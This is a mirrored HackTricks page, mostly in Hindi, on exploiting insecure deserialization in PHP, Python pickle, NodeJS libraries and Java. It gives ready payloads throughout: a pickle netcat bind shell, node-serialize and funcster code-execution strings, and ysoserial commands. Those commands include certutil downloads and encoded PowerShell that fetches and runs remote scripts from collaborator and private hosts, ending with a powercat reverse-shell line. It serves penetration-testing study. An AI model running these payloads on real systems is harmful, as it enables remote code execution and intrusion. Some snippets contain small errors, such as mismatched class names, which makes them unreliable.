mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
963 lines
97 KiB
Markdown
963 lines
97 KiB
Markdown
# Deserialization
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
|
||
|
||
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
|
||
|
||
Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से **हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके** या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।
|
||
|
||
## PHP
|
||
|
||
PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है:
|
||
|
||
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
|
||
- `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।
|
||
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देती है।
|
||
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
|
||
- `__toString`: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।
|
||
```php
|
||
<?php
|
||
class test {
|
||
public $s = "This is a test";
|
||
public function displaystring(){
|
||
echo $this->s.'<br />';
|
||
}
|
||
public function __toString()
|
||
{
|
||
echo '__toString method called';
|
||
}
|
||
public function __construct(){
|
||
echo "__construct method called";
|
||
}
|
||
public function __destruct(){
|
||
echo "__destruct method called";
|
||
}
|
||
public function __wakeup(){
|
||
echo "__wakeup method called";
|
||
}
|
||
public function __sleep(){
|
||
echo "__sleep method called";
|
||
return array("s"); #The "s" makes references to the public attribute
|
||
}
|
||
}
|
||
|
||
$o = new test();
|
||
$o->displaystring();
|
||
$ser=serialize($o);
|
||
echo $ser;
|
||
$unser=unserialize($ser);
|
||
$unser->displaystring();
|
||
|
||
/*
|
||
php > $o = new test();
|
||
__construct method called
|
||
__destruct method called
|
||
php > $o->displaystring();
|
||
This is a test<br />
|
||
|
||
php > $ser=serialize($o);
|
||
__sleep method called
|
||
|
||
php > echo $ser;
|
||
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
||
|
||
php > $unser=unserialize($ser);
|
||
__wakeup method called
|
||
__destruct method called
|
||
|
||
php > $unser->displaystring();
|
||
This is a test<br />
|
||
*/
|
||
?>
|
||
```
|
||
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डेसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**।
|
||
|
||
> [!WARNING]
|
||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** मेथड **`__wakeup()`** के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डेसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज़ को डेसिरियलाइज़ करने और डेसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||
>
|
||
> ```php
|
||
> class MyClass {
|
||
> private $property;
|
||
>
|
||
> public function __unserialize(array $data): void {
|
||
> $this->property = $data['property'];
|
||
> // डेसिरियलाइज़ेशन के दौरान आवश्यक कार्य करें।
|
||
> }
|
||
> }
|
||
> ```
|
||
|
||
आप एक विस्तृत **PHP उदाहरण यहाँ** पढ़ सकते हैं: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), यहाँ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) या यहाँ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||
|
||
### PHP Deserial + Autoload Classes
|
||
|
||
आप PHP ऑटोलोड फ़ंक्शनलिटी का दुरुपयोग करके मनमाने php फ़ाइलों को लोड कर सकते हैं और अधिक:
|
||
|
||
{{#ref}}
|
||
php-deserialization-+-autoload-classes.md
|
||
{{#endref}}
|
||
|
||
### संदर्भित मानों को सीरियलाइज़ करना
|
||
|
||
यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
|
||
```php
|
||
<?php
|
||
class AClass {
|
||
public $param1;
|
||
public $param2;
|
||
}
|
||
|
||
$o = new WeirdGreeting;
|
||
$o->param1 =& $o->param22;
|
||
$o->param = "PARAM";
|
||
$ser=serialize($o);
|
||
```
|
||
### PHPGGC (ysoserial for PHP)
|
||
|
||
[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserialization का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है।\
|
||
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे** लेकिन आप **बाहरी PHP एक्सटेंशनों के कोड का दुरुपयोग कर सकते हैं।**\
|
||
तो, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित gadgets जिन्हें आप दुरुपयोग कर सकते हैं।
|
||
|
||
### phar:// metadata deserialization
|
||
|
||
यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर के php कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए _**file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_** का उपयोग करके।** आप **phar** प्रोटोकॉल का उपयोग करके **फ़ाइल** पढ़ते समय होने वाली **deserialization** का दुरुपयोग करने की कोशिश कर सकते हैं।\
|
||
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:
|
||
|
||
{{#ref}}
|
||
../file-inclusion/phar-deserialization.md
|
||
{{#endref}}
|
||
|
||
## Python
|
||
|
||
### **Pickle**
|
||
|
||
जब ऑब्जेक्ट को unpickle किया जाता है, तो फ़ंक्शन \_\_\_reduce\_\_\_ निष्पादित होगा।\
|
||
जब इसका दुरुपयोग किया जाता है, तो सर्वर एक त्रुटि वापस कर सकता है।
|
||
```python
|
||
import pickle, os, base64
|
||
class P(object):
|
||
def __reduce__(self):
|
||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||
print(base64.b64encode(pickle.dumps(P())))
|
||
```
|
||
बायपास तकनीक की जांच करने से पहले, यदि आप python3 चला रहे हैं तो `print(base64.b64encode(pickle.dumps(P(),2)))` का उपयोग करके एक ऐसा ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो python2 के साथ संगत हो।
|
||
|
||
**pickle jails** से बचने के बारे में अधिक जानकारी के लिए देखें:
|
||
|
||
{{#ref}}
|
||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||
{{#endref}}
|
||
|
||
### Yaml **&** jsonpickle
|
||
|
||
निम्नलिखित पृष्ठ **yaml** python पुस्तकालयों में **असुरक्षित deserialization का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **Pickle, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE deserialization payload उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||
|
||
{{#ref}}
|
||
python-yaml-deserialization.md
|
||
{{#endref}}
|
||
|
||
### Class Pollution (Python Prototype Pollution)
|
||
|
||
{{#ref}}
|
||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||
{{#endref}}
|
||
|
||
## NodeJS
|
||
|
||
### JS Magic Functions
|
||
|
||
JS **"जादुई" कार्य** नहीं रखता जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ **कार्य** हैं जो **प्रत्यक्ष रूप से कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
|
||
यदि आप deserialization का दुरुपयोग करते हैं तो आप **इन कार्यों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
|
||
|
||
एक और **"जादुई" तरीका एक कार्य को कॉल करने का** बिना इसे सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async कार्य** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक कार्य प्रकार की एक **प्रॉपर्टी** में **परिवर्तित** करते हैं, तो यह केवल इसलिए **निष्पादित** होगा क्योंकि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||
```javascript
|
||
// If you can compromise p (returned object) to be a promise
|
||
// it will be executed just because it's the return object of an async function:
|
||
async function test_resolve() {
|
||
const p = new Promise((resolve) => {
|
||
console.log("hello")
|
||
resolve()
|
||
})
|
||
return p
|
||
}
|
||
|
||
async function test_then() {
|
||
const p = new Promise((then) => {
|
||
console.log("hello")
|
||
return 1
|
||
})
|
||
return p
|
||
}
|
||
|
||
test_ressolve()
|
||
test_then()
|
||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||
```
|
||
### `__proto__` और `prototype` प्रदूषण
|
||
|
||
यदि आप इस तकनीक के बारे में जानना चाहते हैं **तो निम्नलिखित ट्यूटोरियल पर नज़र डालें**:
|
||
|
||
{{#ref}}
|
||
nodejs-proto-prototype-pollution/
|
||
{{#endref}}
|
||
|
||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||
|
||
यह पुस्तकालय कार्यों को अनुक्रमित करने की अनुमति देता है। उदाहरण:
|
||
```javascript
|
||
var y = {
|
||
rce: function () {
|
||
require("child_process").exec("ls /", function (error, stdout, stderr) {
|
||
console.log(stdout)
|
||
})
|
||
},
|
||
}
|
||
var serialize = require("node-serialize")
|
||
var payload_serialized = serialize.serialize(y)
|
||
console.log("Serialized: \n" + payload_serialized)
|
||
```
|
||
**सीरियलाइज्ड ऑब्जेक्ट** इस तरह दिखेगा:
|
||
```bash
|
||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||
```
|
||
आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरियलाइज़ किया जाता है तो `_$$ND_FUNC$$_` फ़्लैग सीरियलाइज़ किए गए ऑब्जेक्ट में जोड़ा जाता है।
|
||
|
||
फाइल `node-serialize/lib/serialize.js` के अंदर आप वही फ़्लैग और कोड का उपयोग कैसे किया जा रहा है, पा सकते हैं।
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
जैसा कि आप कोड के अंतिम भाग में देख सकते हैं, **यदि फ़्लैग पाया जाता है** तो `eval` का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से **उपयोगकर्ता इनपुट `eval` फ़ंक्शन के अंदर उपयोग किया जा रहा है**।
|
||
|
||
हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
|
||
वैसे, आप बस **सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
|
||
अगले कोड के भाग में **अंतिम कोष्ठक पर ध्यान दें** और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
|
||
```javascript
|
||
var serialize = require("node-serialize")
|
||
var test = {
|
||
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
|
||
}
|
||
serialize.unserialize(test)
|
||
```
|
||
जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगा और इसे `eval` का उपयोग करके **निष्पादित करेगा**। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **कार्य निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल रेखा** निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
|
||
```javascript
|
||
var serialize = require("node-serialize")
|
||
var test =
|
||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||
serialize.unserialize(test)
|
||
```
|
||
आप [**यहां**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **अधिक जानकारी** प्राप्त कर सकते हैं कि इस कमजोरियों का लाभ कैसे उठाया जाए।
|
||
|
||
### [funcster](https://www.npmjs.com/package/funcster)
|
||
|
||
**funcster** का एक महत्वपूर्ण पहलू **मानक अंतर्निहित वस्तुओं** की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोडों के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे `"ReferenceError: console is not defined"` जैसी अपवाद उत्पन्न होते हैं जब `console.log()` या `require(something)` जैसे कमांड का उपयोग किया जाता है।
|
||
|
||
इस सीमा के बावजूद, सभी मानक अंतर्निहित वस्तुओं सहित वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना एक विशिष्ट दृष्टिकोण के माध्यम से संभव है। वैश्विक संदर्भ का सीधे लाभ उठाकर, इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:
|
||
```javascript
|
||
funcster = require("funcster")
|
||
//Serialization
|
||
var test = funcster.serialize(function () {
|
||
return "Hello world!"
|
||
})
|
||
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
||
|
||
//Deserialization with auto-execution
|
||
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
||
funcster.deepDeserialize(desertest1)
|
||
var desertest2 = {
|
||
__js_function: 'this.constructor.constructor("console.log(1111)")()',
|
||
}
|
||
funcster.deepDeserialize(desertest2)
|
||
var desertest3 = {
|
||
__js_function:
|
||
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
|
||
}
|
||
funcster.deepDeserialize(desertest3)
|
||
```
|
||
**अधिक जानकारी के लिए इस स्रोत को पढ़ें**[ **यहाँ**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**।**
|
||
|
||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||
|
||
**serialize-javascript** पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित अव्यवस्थित करने की क्षमताएँ नहीं हैं। उपयोगकर्ता अव्यवस्थित करने के लिए अपनी स्वयं की विधि लागू करने के लिए जिम्मेदार हैं। अनुक्रमित डेटा को अव्यवस्थित करने के लिए आधिकारिक उदाहरण द्वारा `eval` का प्रत्यक्ष उपयोग सुझाया गया है:
|
||
```javascript
|
||
function deserialize(serializedJavascript) {
|
||
return eval("(" + serializedJavascript + ")")
|
||
}
|
||
```
|
||
यदि इस फ़ंक्शन का उपयोग ऑब्जेक्ट्स को डीसिरियलाइज़ करने के लिए किया जाता है, तो आप इसे **आसानी से शोषण कर सकते हैं**:
|
||
```javascript
|
||
var serialize = require("serialize-javascript")
|
||
//Serialization
|
||
var test = serialize(function () {
|
||
return "Hello world!"
|
||
})
|
||
console.log(test) //function() { return "Hello world!" }
|
||
|
||
//Deserialization
|
||
var test =
|
||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||
deserialize(test)
|
||
```
|
||
**के लिए**[ **अधिक जानकारी के लिए इस स्रोत को पढ़ें**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||
|
||
### Cryo पुस्तकालय
|
||
|
||
निम्नलिखित पृष्ठों पर आप इस पुस्तकालय का दुरुपयोग करके मनमाने आदेशों को निष्पादित करने के बारे में जानकारी पा सकते हैं:
|
||
|
||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||
|
||
## Java - HTTP
|
||
|
||
Java में, **deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं**। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो इन callbacks को ट्रिगर करने वाले दुर्भावनापूर्ण payloads तैयार करते हैं, जिससे हानिकारक क्रियाओं के संभावित निष्पादन की संभावना होती है।
|
||
|
||
### फिंगरप्रिंट
|
||
|
||
#### व्हाइट बॉक्स
|
||
|
||
कोडबेस में संभावित serialization कमजोरियों की पहचान करने के लिए खोजें:
|
||
|
||
- कक्षाएँ जो `Serializable` इंटरफ़ेस को लागू करती हैं।
|
||
- `java.io.ObjectInputStream`, `readObject`, `readUnshare` फ़ंक्शंस का उपयोग।
|
||
|
||
विशेष ध्यान दें:
|
||
|
||
- `XMLDecoder` का उपयोग बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ किया गया।
|
||
- `XStream` का `fromXML` विधि, विशेष रूप से यदि XStream संस्करण 1.46 या उससे कम है, क्योंकि यह serialization समस्याओं के प्रति संवेदनशील है।
|
||
- `ObjectInputStream` जो `readObject` विधि के साथ जुड़ा हुआ है।
|
||
- `readObject`, `readObjectNodData`, `readResolve`, या `readExternal` जैसी विधियों का कार्यान्वयन।
|
||
- `ObjectInputStream.readUnshared`।
|
||
- `Serializable` का सामान्य उपयोग।
|
||
|
||
#### ब्लैक बॉक्स
|
||
|
||
ब्लैक बॉक्स परीक्षण के लिए, विशेष **हस्ताक्षर या "मैजिक बाइट्स"** की तलाश करें जो java serialized objects (जो `ObjectInputStream` से उत्पन्न होते हैं) को दर्शाते हैं:
|
||
|
||
- हेक्साडेसिमल पैटर्न: `AC ED 00 05`।
|
||
- बेस64 पैटर्न: `rO0`।
|
||
- HTTP प्रतिक्रिया हेडर जिनमें `Content-type` `application/x-java-serialized-object` पर सेट है।
|
||
- पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: `1F 8B 08 00`।
|
||
- पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: `H4sIA`।
|
||
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। एक वेब एप्लिकेशन में इन पैटर्नों की खोज करने से [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) के बारे में पोस्ट में विस्तृत जांच की जानी चाहिए।
|
||
```
|
||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||
```
|
||
### Check if vulnerable
|
||
|
||
यदि आप **जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है** तो आपको [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), और [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) पर एक नज़र डालनी चाहिए।
|
||
|
||
#### White Box Test
|
||
|
||
आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन स्थापित है जिसमें ज्ञात कमजोरियाँ हैं।
|
||
```bash
|
||
find . -iname "*commons*collection*"
|
||
grep -R InvokeTransformer .
|
||
```
|
||
आप सभी **लाइब्रेरीज़** की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और जो [**Ysoserial** ](https://github.com/frohoff/ysoserial) एक एक्सप्लॉइट प्रदान कर सकता है। या आप [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।\
|
||
आप संभावित गेज़ेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
|
||
जब आप **gadgetinspector** चला रहे हों (इसे बनाने के बाद) तो इसके द्वारा उत्पन्न होने वाले सैकड़ों चेतावनियों/त्रुटियों की परवाह न करें और इसे पूरा होने दें। यह सभी निष्कर्षों को _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
|
||
|
||
#### ब्लैक बॉक्स टेस्ट
|
||
|
||
Burp एक्सटेंशन [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) का उपयोग करके आप **कौन सी लाइब्रेरीज़ उपलब्ध हैं** (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, **एक पेलोड चुनना आसान हो सकता है** जो कमजोरी का फायदा उठाए।\
|
||
[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||
GadgetProbe **`ObjectInputStream` deserializations** पर केंद्रित है।
|
||
|
||
Burp एक्सटेंशन [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) का उपयोग करके आप **कमजोर लाइब्रेरीज़** की पहचान कर सकते हैं जिन्हें ysoserial के साथ **एक्सप्लॉइट** किया जा सकता है।\
|
||
[**Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें।**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||
Java Deserialization Scanner **`ObjectInputStream`** deserializations पर केंद्रित है।
|
||
|
||
आप **Burp** में **deserializations** कमजोरियों का पता लगाने के लिए [**Freddy**](https://github.com/nccgroup/freddy) का भी उपयोग कर सकते हैं। यह प्लगइन **केवल `ObjectInputStream`** से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि **Json** और **Yml** deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।\
|
||
[**आप यहां Freddy के बारे में अधिक जानकारी प्राप्त कर सकते हैं।**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||
|
||
**Serialization टेस्ट**
|
||
|
||
सिर्फ यह जांचना ही नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया जा रहा है। कभी-कभी आप **serialized ऑब्जेक्ट के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं** (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।\
|
||
यदि आप एक जावा serialized ऑब्जेक्ट पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे आप भेजे गए serialization ऑब्जेक्ट को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकते हैं**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
|
||
|
||
### **एक्सप्लॉइट**
|
||
|
||
#### **ysoserial**
|
||
|
||
जावा deserializations का फायदा उठाने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))। आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
|
||
ध्यान दें कि यह उपकरण **`ObjectInputStream`** का फायदा उठाने पर **केंद्रित** है।\
|
||
मैं **RCE** पेलोड से पहले "URLDNS" पेलोड का उपयोग करना **शुरू करूंगा** यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।
|
||
```bash
|
||
# PoC to make the application perform a DNS req
|
||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||
|
||
# PoC RCE in Windows
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
||
# Time, I noticed the response too longer when this was used
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
||
# Create File
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
||
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
||
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
||
# Reverse Shell
|
||
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
||
